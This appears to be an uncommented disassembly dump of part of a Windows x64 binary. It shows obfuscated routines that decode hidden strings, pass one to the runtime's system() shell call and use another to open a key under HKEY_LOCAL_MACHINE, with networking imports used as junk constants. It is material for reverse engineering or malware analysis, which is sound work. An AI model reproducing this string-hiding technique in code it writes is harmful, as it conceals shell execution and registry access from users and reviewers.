add rdi, rcx
inc rdi
jmp 0x1400d72d3
lea rcx, [rdi + r15]
movzx ebx, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x5f
lea edx, [rdi + 0x3b]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x63
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x40], al
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x54]
movzx eax, bl
and al, dl
inc r8
mov ecx, Ordinal_41
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi - 0x40], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d72d3
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x45
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d72d3
sub dil, 0x4b
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
add r10b, 0xd
jmp 0x1400d72d0
sub dil, 0x2d
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
add r10b, 0x3b
jmp 0x1400d72c0
lea rcx, [rbp + 0x14093ac]
jmp 0x1400d7d1a
lea rcx, [rbp + 0x165ca1d]
jmp 0x1400d7d1a
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x270]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400d7d32
xor r13d, r13d
movzx r11d, byte [rbp + 0x260]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp + 0xf7], eax
movups xmmword [rbp + 0xe7], xmm0
mov word [rbp + 0xfb], ax
movabs rsi, 0xe87f68604784faff
mov byte [rbp + 0xfd], al
movabs r14, 0x2c7aab6283acd2f7
mov dword [rbp + 0x90], 0x4f4d52b3
movabs r15, 0xb97e3920d68ef0fd
mov dword [rbp + 0x94], 0x3a50423d
mov dword [rbp + 0x98], 0x54626369
mov dword [rbp + 0x9c], 0x6631616c
mov dword [rbp + 0xa0], 0x7a7a7d68
mov dword [rbp + 0xa4], 0x7b4b5876
mov dword [rbp + 0xa8], 0x7d712442
mov dword [rbp + 0xac], 0x7b757776
mov dword [rbp + 0xb0], 0x4d7f1d4a
mov dword [rbp + 0xb4], 0x667b7841
mov dword [rbp + 0xb8], 0x77427249
mov dword [rbp + 0xbc], 0x7071607e
mov dword [rbp + 0xc0], 0x505a6a48
mov dword [rbp + 0xc4], 0x7760585b
mov dword [rbp + 0xc8], 0x51675145
mov dword [rbp + 0xcc], 0x56515e54
mov dword [rbp + 0xd0], 0x1d267e54
mov dword [rbp + 0xd4], 0x18192f2b
mov dword [rbp + 0xd8], 0x1721741a
mov dword [rbp + 0xdc], 0x232a0e15
mov dword [rbp + 0xe0], 0x303a3011
mov word [rbp + 0xe4], 0x263e
mov byte [rbp + 0xe6], 0xac
nop dword [rax]
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
mov rdi, r13
cmp rdi, 0x6e
jae 0x1400d89a5
movzx ebx, byte [rbp + rdi + 0x90]
mov rdx, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400d899c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d7eba
lea r11, [rdi + rsi]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
add r11b, 7
add r11b, dl
jmp 0x1400d7f00
je 0x1400d8930
inc rax
cmp r8, rax
je 0x1400d8902
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d88e9
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d88ad
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d888e
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d8849
cmp r9, rdi
ja 0x1400d8993
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400d7f28
lea ecx, [rdi - 0x15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6d
jmp 0x1400d7f60
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d882e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d880f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d87f3
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d8772
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d84cb
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d84a8
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d8481
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d845d
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d843a
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d8419
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d83fb
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d83d8
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d83ba
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d838b
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d7f70
lea r8, [r9 + 1]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d8977
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d895b
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400d8153
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d813a
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d8121
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d8346
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d82fd
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d82c3
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d829f
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400d7f70
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d8270
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d8252
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d8230
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d8212
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d81f1
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d81cf
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d81ab
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d8189
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d816c
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d7f70
lea r8, [r9 + 2]
lea r9, [r8 + 0x40]
jmp 0x1400d7f70
lea ecx, [rdi + 0x75]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x33
jmp 0x1400d7f60
lea ecx, [rdi + 0x77]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x41
jmp 0x1400d7f00
lea ecx, [rdi + 0x79]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4f
jmp 0x1400d7e85
lea ecx, [rdi + 0x58]
movzx r10d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x1400d8862
lea ecx, [rdi + 0x5a]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
inc rdi
jmp 0x1400d7e73
lea edx, [rdi + 0x5c]
mov ecx, 0x3e
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d7e73
lea edx, [rdi + 0x5e]
mov ecx, gethostname
movzx eax, dl
movzx r10d, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d88c6
lea edx, [rdi + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x1400d8917
lea edx, [rdi + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d8917
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
movzx eax, dl
movzx r10d, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d878b
lea edx, [rdi + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d87b5
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d7e73
lea ecx, [rdi + 0x6d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 5
mov byte [rbp + rdi + 0x90], r11b
inc rdi
jmp 0x1400d7e73
lea ecx, [rdi + 0x6f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 9
cmp r9, 0x7a
jb 0x1400d82b3
movzx r10d, dil
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x6c]
jmp 0x1400d8862
lea ecx, [rdi + 0x71]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x17
cmp r8, 0xa
jae 0x1400d8726
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400d8670
lea edx, [rdi - 0x52]
mov ecx, Ordinal_32
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d82d7
lea ecx, [rdi + 0x73]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x25
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x1400d8750
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400d85ae
lea ecx, [rdi - 0x3d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x55
jmp 0x1400d8311
lea edx, [rdi - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d7e73
lea edx, [rdi - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d87b5
mov ecx, Ordinal_45
movzx r10d, dil
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d878b
lea edx, [rdi - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d8917
lea edx, [rdi - 0x76]
mov ecx, Ordinal_32
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x1400d8917
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx r10d, dil
lea edx, [r10 - 0x74]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d88c6
lea edx, [rdi - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d7e73
lea edx, [rdi - 0x70]
mov ecx, 8
movzx eax, dl
inc r9
and al, bl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d7e73
mov ecx, 1
movzx r10d, dil
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d8862
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400d84ed
lea ecx, [rdi - 1]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 7
jmp 0x1400d835a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d8525
lea edx, [rdi - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d7e73
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d8551
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx r10d, dil
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d878b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d857d
mov ecx, gethostname
movzx r10d, dil
lea edx, [r10 - 0x34]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d88c6
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d835a
lea edx, [rdi - 0x36]
mov ecx, 0x3d
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d7e73
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d85d5
movzx r10d, dil
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x47
jmp 0x1400d8862
inc rax
cmp r8, rax
jne 0x1400d85ff
lea ecx, [rdi - 0x41]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x39
inc rdi
jmp 0x1400d7e73
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d8624
lea ecx, [rdi - 0x47]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xf
add r8, r9
jmp 0x1400d8917
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d8645
lea ecx, [rdi - 0x49]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
dec r11b
jmp 0x1400d8917
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d8311
movzx r10d, dil
lea ecx, [r10 - 0x4b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xd
jmp 0x1400d878b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d86a8
lea edx, [rdi - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d7e73
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d86d4
mov ecx, 0x34
movzx r10d, dil
lea edx, [r10 - 0x58]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d878b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d86fb
movzx r10d, dil
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
jmp 0x1400d88c6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d82d7
movzx r10d, dil
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x1400d8862
movzx r11d, byte [rbp + rdi + 0x90]
movzx r10d, dil
lea edx, [r10 - 0x68]
movzx eax, dl
and al, bl
add al, al
sub r11b, al
sub r11b, 0x28
add r11b, dl
add r11b, bl
jmp 0x1400d88c6
movzx r10d, dil
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x90]
lea r11d, [rbx + rcx]
sub r11b, 0x1a
jmp 0x1400d878b
movzx r10d, dil
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xb
sub r10b, 0x6b
movzx eax, bl
and al, r10b
inc r9
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x13
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x90], al
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x6c]
movzx eax, bl
and al, cl
inc r8
add al, al
sub bl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub bl, 0xc
add bl, cl
mov byte [rbp + rdi + 0x90], bl
add rdi, rax
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d7e73
lea ecx, [rdi - 0x1f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x27
add r8, r9
jmp 0x1400d8917
lea ecx, [rdi - 0x1b]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x43
inc rdi
jmp 0x1400d7e73
movzx r10d, dil
lea ecx, [r10 - 0x17]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5f
jmp 0x1400d8862
movzx r10d, dil
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7b
sub r10b, 0x67
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x2f
add r10b, bl
mov byte [rbp + rdi + 0x90], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400d7e73
lea ecx, [rdi - 0xf]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x69
dec rdi
inc rdi
jmp 0x1400d7e73
movzx r10d, dil
lea ecx, [r10 - 0xd]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5b
movzx eax, bl
sub r10b, 0x69
and al, r10b
add al, al
sub bl, al
sub bl, 0x21
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x90], bl
add r8, r9
jmp 0x1400d8917
lea ecx, [rdi - 0xb]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4d
add r8, r9
jmp 0x1400d8917
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x3f
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d7e73
lea rcx, [rdi + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x15
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d7e73
add dil, 0x7b
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x5d
jmp 0x1400d7e70
add dil, 0x7d
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x6b
jmp 0x1400d7e60
lea rdx, [rbp + 0x158a3e4]
jmp 0x1400d89ac
lea rdx, [rbp + 0x9d9ee3]
jmp 0x1400d89ac
lea rdx, [rbp + 0x90]
lea rax, [rbp + 0x270]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400db958
movzx r11d, byte [rbp + 0x260]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp - 0x80], 0x21233759
movups xmmword [rbp - 0x78], xmm0
mov byte [rbp - 0x68], al
movabs rsi, 0xfaa601eaed86f1eb
mov dword [rbp - 0x7c], 0x9f202236
movabs r14, 0xcfd6114259be8143
movabs r12, 0xda8a0d6c7eb09d6d
movabs r15, 0xeff205c0c894d5c1
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
mov rdi, r13
cmp rdi, 0x19
jae 0x1400d94d1
movzx ebx, byte [rbp + rdi - 0x80]
mov rdx, rbx
cmp r8, rdi
ja 0x1400d94c8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d8a6f
lea r11, [rdi + rsi]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
sub r11b, 0x6d
add r11b, dl
jmp 0x1400d8ab0
je 0x1400d9461
inc rax
cmp r8, rax
je 0x1400d93e9
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d93bb
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d939c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d937a
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400d94bf
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400d8ad8
lea ecx, [rdi + 0x47]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xf
jmp 0x1400d8b10
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d9337
inc rax
cmp r8, rax
je 0x1400d9318
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d92fc
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d92df
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d904b
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d902b
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d9004
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d8fe0
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d8fc1
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d8fa5
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d8f8c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d8f6e
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d8f50
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d8f24
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d8b20
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d94a4
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d9489
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d8d01
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d8ce4
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d8cc7
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d8ed7
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d8e60
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d8e3f
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d8b20
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x64]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d8e13
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d8df5
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d8dd8
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d8dbf
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d8da3
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d8d87
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d8d63
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d8d3c
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400d8d1d
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d8b20
lea r8, [r9 + 5]
lea r9, [r8 + 0x7a]
jmp 0x1400d8b20
lea edx, [rdi - 0x67]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x2f
add r11b, dl
jmp 0x1400d8b10
lea edx, [rdi - 0x3d]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x55
add r11b, dl
jmp 0x1400d8ab0
lea edx, [rdi - 0x13]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub dl, 0x7b
sub r11b, al
add r11b, dl
jmp 0x1400d8a42
mov ecx, reloc.WLDAP32.dll_Ordinal_60
lea edx, [rdi + 0x38]
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d9351
lea edx, [rdi + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d8a33
lea edx, [rdi - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d8a33
mov ecx, 3
lea edx, [rdi - 0x4a]
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400d9294
lea ecx, [rdi - 0x20]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
add r8, r9
jmp 0x1400d93d0
lea ecx, [rdi + 0xa]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x46
jmp 0x1400d93d0
lea edx, [rdi + 0x34]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x1400d9401
lea edx, [rdi + 0x5e]
mov ecx, gethostname
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d9425
lea edx, [rdi - 0x78]
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
movzx eax, byte [rbp + rdi - 0x80]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d8a33
lea ecx, [rdi - 0xf]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x69
mov byte [rbp + rdi - 0x80], r11b
inc rdi
jmp 0x1400d8a33
lea edx, [rdi + 0x45]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x1d
add r11b, dl
cmp r8, 0x3e8
jae 0x1400d9278
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400d91c3
lea edx, [rdi + 0x46]
mov ecx, ntohl
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0x80
jb 0x1400d8e53
mov ecx, 9
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x5e]
and al, dl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400d9354
lea edx, [rdi + 0x6f]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 9
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x1400d92bd
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400d9119
lea edx, [rdi - 1]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 7
jmp 0x1400d8e75
lea edx, [rdi - 0x56]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
movzx eax, byte [rbp + rdi - 0x80]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d8a33
lea edx, [rdi - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d9425
lea edx, [rdi - 2]
mov ecx, 7
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d9401
lea ecx, [rdi + 0x28]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
jmp 0x1400d93d0
lea ecx, [rdi + 0x52]
movzx eax, bl
and al, cl
